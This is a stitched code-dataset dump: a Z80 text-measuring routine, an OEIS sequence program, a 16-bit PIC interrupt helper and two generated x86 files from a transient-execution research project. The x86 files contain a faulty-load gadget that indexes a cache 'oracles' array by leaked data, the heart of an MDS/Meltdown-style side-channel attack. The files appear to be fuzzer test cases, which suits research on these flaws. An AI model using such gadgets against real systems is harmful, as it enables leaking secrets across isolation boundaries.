l, (hl) ret glyphline_table: dw 0x4100 dw 0x4120 dw 0x4140 dw 0x4160 dw 0x4180 dw 0x41A0 dw 0x41C0 dw 0x41E0 dw 0x4900 dw 0x4920 dw 0x4940 dw 0x4960 dw 0x4980 dw 0x49A0 dw 0x49C0 dw 0x49E0 dw 0x5100 dw 0x5120 dw 0x5140 dw 0x5160 dw 0x5180 dw 0x51A0 dw 0x51C0 dw 0x51E0 #endlocal #code _CODE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; size_t MeasureTextLength(const char *text, size_t nChars) ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _MeasureTextLength:: #local pop af pop bc ; bc = $text pop hl ; hl = $nChars push hl push bc push af ; return zero if $nChars is zero xor a cp l jp nz, not_zero cp h ret z not_zero: ; otherwise calculate end_char_ld value to use add hl, bc ex de, hl xor a ld l, a ld h, a sbc hl, de ld (end_char_ld+1), hl ; total starts at zero ld iy, 0 loop: ; read character ld a, (bc) ; locate font record add a, a add a, a ld d, 0 rl d add a, a rl d ld e, a ld hl, _g_font-32*8 add hl, de ; read width and add to total ld e, (hl) ld d, 0 add iy, de ; increment string address, loop if not end inc bc end_char_ld: ld hl, 0xBEEF add hl, bc jp nc, loop ; return total push iy pop hl ret #endlocal #endlocal
12.116667
61
0.581843
20c131c0e9c1518e86c9d5267a79c3e6f716cbfe
2,082
asm
Assembly
programs/oeis/085/A085490.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/085/A085490.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/085/A085490.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A085490: Number of pairs with two different elements which can be obtained by selecting unique elements from two sets with n+1 and n^2 elements respectively and n common elements. ; 0,1,10,33,76,145,246,385,568,801,1090,1441,1860,2353,2926,3585,4336,5185,6138,7201,8380,9681,11110,12673,14376,16225,18226,20385,22708,25201,27870,30721,33760,36993,40426,44065,47916,51985,56278,60801,65560,70561,75810,81313,87076,93105,99406,105985,112848,120001,127450,135201,143260,151633,160326,169345,178696,188385,198418,208801,219540,230641,242110,253953,266176,278785,291786,305185,318988,333201,347830,362881,378360,394273,410626,427425,444676,462385,480558,499201,518320,537921,558010,578593,599676,621265,643366,665985,689128,712801,737010,761761,787060,812913,839326,866305,893856,921985,950698,980001,1009900,1040401,1071510,1103233,1135576,1168545,1202146,1236385,1271268,1306801,1342990,1379841,1417360,1455553,1494426,1533985,1574236,1615185,1656838,1699201,1742280,1786081,1830610,1875873,1921876,1968625,2016126,2064385,2113408,2163201,2213770,2265121,2317260,2370193,2423926,2478465,2533816,2589985,2646978,2704801,2763460,2822961,2883310,2944513,3006576,3069505,3133306,3197985,3263548,3330001,3397350,3465601,3534760,3604833,3675826,3747745,3820596,3894385,3969118,4044801,4121440,4199041,4277610,4357153,4437676,4519185,4601686,4685185,4769688,4855201,4941730,5029281,5117860,5207473,5298126,5389825,5482576,5576385,5671258,5767201,5864220,5962321,6061510,6161793,6263176,6365665,6469266,6573985,6679828,6786801,6894910,7004161,7114560,7226113,7338826,7452705,7567756,7683985,7801398,7920001,8039800,8160801,8283010,8406433,8531076,8656945,8784046,8912385,9041968,9172801,9304890,9438241,9572860,9708753,9845926,9984385,10124136,10265185,10407538,10551201,10696180,10842481,10990110,11139073,11289376,11441025,11594026,11748385,11904108,12061201,12219670,12379521,12540760,12703393,12867426,13032865,13199716,13367985,13537678,13708801,13881360,14055361,14230810,14407713,14586076,14765905,14947206,15129985,15314248,15500001 mov $1,$0 pow $1,2 add $1,$0 mul $1,$0 sub $1,$0
231.333333
1,849
0.850144
242161bd78bf1c9ddb0ddf234da83a0095c523db
5,896
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1657.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x439c, %rsi lea addresses_WT_ht+0x1e764, %rdi cmp %r14, %r14 mov $110, %rcx rep movsw nop nop nop and %rbx, %rbx lea addresses_WC_ht+0x1d524, %rsi lea addresses_UC_ht+0x9764, %rdi add %r10, %r10 mov $27, %rcx rep movsw nop nop nop xor $30985, %rsi lea addresses_UC_ht+0xba16, %rbx nop nop nop cmp %rdx, %rdx vmovups (%rbx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rsi nop nop nop nop sub $55190, %rdi lea addresses_WC_ht+0x2f64, %rsi lea addresses_D_ht+0x11248, %rdi clflush (%rsi) nop nop and %r11, %r11 mov $67, %rcx rep movsq nop nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0x19764, %rsi lea addresses_D_ht+0xa764, %rdi nop and $19838, %r10 mov $77, %rcx rep movsl nop nop nop xor %rdi, %rdi lea addresses_A_ht+0xd624, %rbx clflush (%rbx) nop nop nop nop nop add %rdi, %rdi movw $0x6162, (%rbx) nop nop nop nop nop sub $28616, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r8 push %rbp push %rdi push %rsi // Store lea addresses_RW+0x12a49, %r12 clflush (%r12) cmp $30647, %r14 mov $0x5152535455565758, %r15 movq %r15, (%r12) nop nop nop nop add $3361, %r8 // Faulty Load lea addresses_RW+0xaf64, %r14 nop xor $31921, %rdi movaps (%r14), %xmm2 vpextrq $0, %xmm2, %r15 lea oracles, %r14 and $0xff, %r15 shlq $12, %r15 mov (%r14,%r15,1), %r15 pop %rsi pop %rdi pop %rbp pop %r8 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 0}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 1}} {'dst': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 4}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
39.57047
2,999
0.661635
f76e943c1ecdbeb8a1f3e7ce902b26b30d08ddcf
6,693
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_10808_1611.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_10808_1611.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_10808_1611.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x283b, %rdi nop add $51774, %rbp mov (%rdi), %r13d nop nop nop nop add $33226, %r8 lea addresses_normal_ht+0xc68f, %rsi lea addresses_D_ht+0x1334f, %rdi nop nop nop nop inc %r13 mov $14, %rcx rep movsw nop nop nop dec %r13 lea addresses_D_ht+0x1ae45, %rsi lea addresses_WC_ht+0x1654f, %rdi clflush (%rsi) nop nop nop nop add $623, %r8 mov $120, %rcx rep movsb nop nop nop sub %rsi, %rsi lea addresses_WT_ht+0xcf4f, %r8 nop nop add %rdx, %rdx movb $0x61, (%r8) nop add $13485, %rdx lea addresses_D_ht+0x1104f, %rbp nop nop nop xor %r8, %r8 movl $0x61626364, (%rbp) nop nop nop cmp %r8, %r8 lea addresses_WC_ht+0xf68f, %rdx clflush (%rdx) nop nop nop nop nop cmp %rbp, %rbp movl $0x61626364, (%rdx) xor %rdx, %rdx lea addresses_WC_ht+0xcc1f, %rdi nop nop nop nop sub %rdx, %rdx movups (%rdi), %xmm2 vpextrq $1, %xmm2, %r13 nop add %r13, %r13 lea addresses_normal_ht+0xbd4f, %rsi lea addresses_D_ht+0x152a7, %rdi nop nop nop nop nop cmp $63772, %r10 mov $98, %rcx rep movsq add %rsi, %rsi lea addresses_A_ht+0xa80f, %r13 nop dec %rbp movb $0x61, (%r13) nop nop cmp $62965, %r8 lea addresses_normal_ht+0xf96d, %rsi lea addresses_A_ht+0x17d93, %rdi nop inc %r10 mov $16, %rcx rep movsw nop xor $23786, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r9 push %rax push %rdi push %rdx // Store lea addresses_normal+0xace, %rax nop nop nop nop add $22086, %r9 mov $0x5152535455565758, %rdi movq %rdi, (%rax) nop nop nop nop nop inc %r11 // Faulty Load mov $0x74f, %r15 nop nop xor $58258, %rdx mov (%r15), %r11 lea oracles, %r12 and $0xff, %r11 shlq $12, %r11 mov (%r12,%r11,1), %r11 pop %rdx pop %rdi pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_P', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'00': 10808} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.983871
2,999
0.657403
2ed95f6917f397e939251f11fa63b7224421b89a
576
asm
Assembly
Kernel/asm/getKey.asm
shipupi/SO-TP2
cbf02c621ca5b3e3a78a470efe5532e107b2b4cb
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/getKey.asm
shipupi/SO-TP2
cbf02c621ca5b3e3a78a470efe5532e107b2b4cb
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/getKey.asm
shipupi/SO-TP2
cbf02c621ca5b3e3a78a470efe5532e107b2b4cb
[ "BSD-3-Clause" ]
null
null
null
GLOBAL getKey section .text ;This should only be called if you know the last bit of 64h (Status Register) is on 1 getKey: push rbp mov rbp, rsp ;Stack frame xor eax, eax ;We are going to use it so we make sure its in zero in al, 60h ;We get the code mov bl, al ;We save it to use al again in al, 64h ;We get Status Register and al, 11111110b ;We leave 7 through 1 as is, and make the last bit 0 so we know we pulled the key out 64h, al ;Save the changes mov al, bl ;We get our Scan Code back to return it mov rsp, rbp ;Stack frame pop rbp ret
23.04
100
0.694444
9d3411e6f087c6934f6b12094065e279c15ec0c0
577
asm
Assembly
oeis/098/A098803.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/098/A098803.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/098/A098803.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A098803: a(n) = n^7 * 7^n. ; 0,7,6272,750141,39337984,1313046875,32934190464,678223072849,12089663946752,193010051319183,2824752490000000,38532504363714053,495958345459089408,6079641716636816419,71493870602660352896,811165392362917265625,8920896871667184173056,95457296408818459356311,996947425021970219914368,10189150262028218697305677,102134100860943361280000000,1005990555423346294656263787,9752492973201407462632880512,93185807396021067003724580321,878681843101699928584328577024,8185233274316192021527099609375 mov $2,7 pow $2,$0 mov $3,$0 pow $3,7 mul $3,$2 mov $0,$3
57.7
488
0.873484
e4e918da27ac8683218352c76c37874c02ca7ba6
693
asm
Assembly
oeis/035/A035603.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/035/A035603.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/035/A035603.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A035603: Number of points of L1 norm 9 in cubic lattice Z^n. ; Submitted by Christian Krause ; 0,2,36,326,1992,9290,35436,115598,332688,864146,2060980,4573910,9545560,18892250,35704060,64797470,113461024,192441122,317222212,509663334,800061160,1229718378,1854105484,2746713774,4003707568,5749494450,8143343572,11387193846,15734806136,21502426362,29081139740,38951110206,51697913408,68031186498,88805833316,115046039430,147972367880,189032223370,239933990060,302685166030,379634835920,473520842194,587522034932,725316000022,891142686104,1089874371610,1327092434748,1609171411294,1943370847584 mov $1,$0 seq $1,8418 ; Coordination sequence for 9-dimensional cubic lattice. mul $0,$1 div $0,9
77
498
0.851371
4054d9dda8c84e405edd0ba8715ce01e1ba6d570
15,158
asm
Assembly
PRACT0/SO1HPUB/asm/pic.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
PRACT0/SO1HPUB/asm/pic.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
PRACT0/SO1HPUB/asm/pic.asm
so1h/SO1H
7163aa1907b7f7ab70ab022012036c4fa0482e17
[ "BSD-2-Clause" ]
null
null
null
bits 16 ; glb intptr_t : int ; glb uintptr_t : unsigned ; glb intmax_t : int ; glb uintmax_t : unsigned ; glb int8_t : signed char ; glb int_least8_t : signed char ; glb int_fast8_t : signed char ; glb uint8_t : unsigned char ; glb uint_least8_t : unsigned char ; glb uint_fast8_t : unsigned char ; glb int16_t : short ; glb int_least16_t : short ; glb int_fast16_t : short ; glb uint16_t : unsigned short ; glb uint_least16_t : unsigned short ; glb uint_fast16_t : unsigned short ; glb int32_t : int ; glb int_least32_t : int ; glb int_fast32_t : int ; glb uint32_t : unsigned ; glb uint_least32_t : unsigned ; glb uint_fast32_t : unsigned ; glb imaxdiv_t : struct <something> ; glb bool_t : int ; glb pointer_t : * unsigned char ; glb funcion_t : * ( ; prm <something> : * void ; ) * void ; glb manejador_t : * (void) void ; glb rti_t : * (void) void ; glb isr_t : * (void) void ; glb handler_t : * (void) void ; glb retardarThread_t : * (void) int ; glb ptrTVI_t : * * (void) void ; glb modoSO1_t : int ; glb lh_t : struct <something> ; glb address_t : struct <something> ; glb uPtrAdr_t : union <something> ; glb pid_t : int ; glb tid_t : int ; glb uid_t : int ; glb gid_t : int ; glb pindx_t : int ; glb tindx_t : int ; glb df_t : int ; glb dfs_t : int ; glb rindx_t : int ; glb inportb : ( ; prm port : unsigned short ; ) unsigned char ; glb inport : ( ; prm port : unsigned short ; ) unsigned short ; glb outport : ( ; prm port : unsigned short ; prm val : unsigned short ; ) void ; glb outportb : ( ; prm port : unsigned short ; prm val : unsigned char ; ) void ; glb inportb_r : ( ; prm port : unsigned char ; ) unsigned char ; glb outportb_r : ( ; prm port : unsigned char ; prm val : unsigned char ; ) void ; glb contadorTimer0 : (void) unsigned short ; glb ptrTVI : * * (void) void ; glb valorIMR : (void) unsigned short ; glb establecerIMR : ( ; prm nuevoIMR : unsigned short ; ) void ; glb mask_pic1 : ( ; prm irq : unsigned char ; ) void ; glb mask_pic2 : ( ; prm irq : unsigned char ; ) void ; glb unmask_pic1 : ( ; prm irq : unsigned char ; ) void ; glb unmask_pic2 : ( ; prm irq : unsigned char ; ) void ; glb get_pic1_isr : (void) unsigned char ; glb get_pic2_isr : (void) unsigned char ; glb set_pics : ( ; prm irq0 : unsigned char ; prm irq8 : unsigned char ; ) void ; glb pic_setup : (void) void ; glb enable_hwirq : ( ; prm hwirq : int ; prm rti : * (void) void ; ) void ; glb ptrTVI : * * (void) void section .data align 4 global _ptrTVI _ptrTVI: ; = ; glb <something> : * * (void) void ; RPN'ized expression: "0 (something1) " ; Expanded expression: "0 " dd 0 section .text global _valorIMR _valorIMR: in al,0a1h mov ah,al in al,021h retf ; glb establecerIMR : ( ; prm nuevoIMR : unsigned short ; ) void section .text global _establecerIMR _establecerIMR: push ebp movzx ebp, sp ;sub sp, 0 ; loc nuevoIMR : (@8): unsigned short mov ax,[bp+8] out 021h,al mov al,ah out 0a1h,al L2: db 0x66 leave retf L4: section .fxnsz noalloc dd L4 - _establecerIMR ; glb mask_pic1 : ( ; prm irq : unsigned char ; ) void section .text global _mask_pic1 _mask_pic1: push ebp movzx ebp, sp ;sub sp, 0 ; loc irq : (@8): unsigned char ; RPN'ized expression: "( ( 33 inportb ) irq | , 33 outportb ) " ; Expanded expression: " 33 inportb ()4 (@8) *(1) | 33 outportb ()8 " ; Fused expression: "( ( 33 , inportb )4 | ax *(@8) , 33 , outportb )8 " push dword 33 db 0x9A section .relot dd L7 section .text L7: dd _inportb sub sp, -4 movzx ecx, byte [bp+8] or eax, ecx push eax push dword 33 db 0x9A section .relot dd L8 section .text L8: dd _outportb sub sp, -8 L5: db 0x66 leave retf L9: section .fxnsz dd L9 - _mask_pic1 ; glb mask_pic2 : ( ; prm irq : unsigned char ; ) void section .text global _mask_pic2 _mask_pic2: push ebp movzx ebp, sp ;sub sp, 0 ; loc irq : (@8): unsigned char ; RPN'ized expression: "( ( 161 inportb ) irq | , 161 outportb ) " ; Expanded expression: " 161 inportb ()4 (@8) *(1) | 161 outportb ()8 " ; Fused expression: "( ( 161 , inportb )4 | ax *(@8) , 161 , outportb )8 " push dword 161 db 0x9A section .relot dd L12 section .text L12: dd _inportb sub sp, -4 movzx ecx, byte [bp+8] or eax, ecx push eax push dword 161 db 0x9A section .relot dd L13 section .text 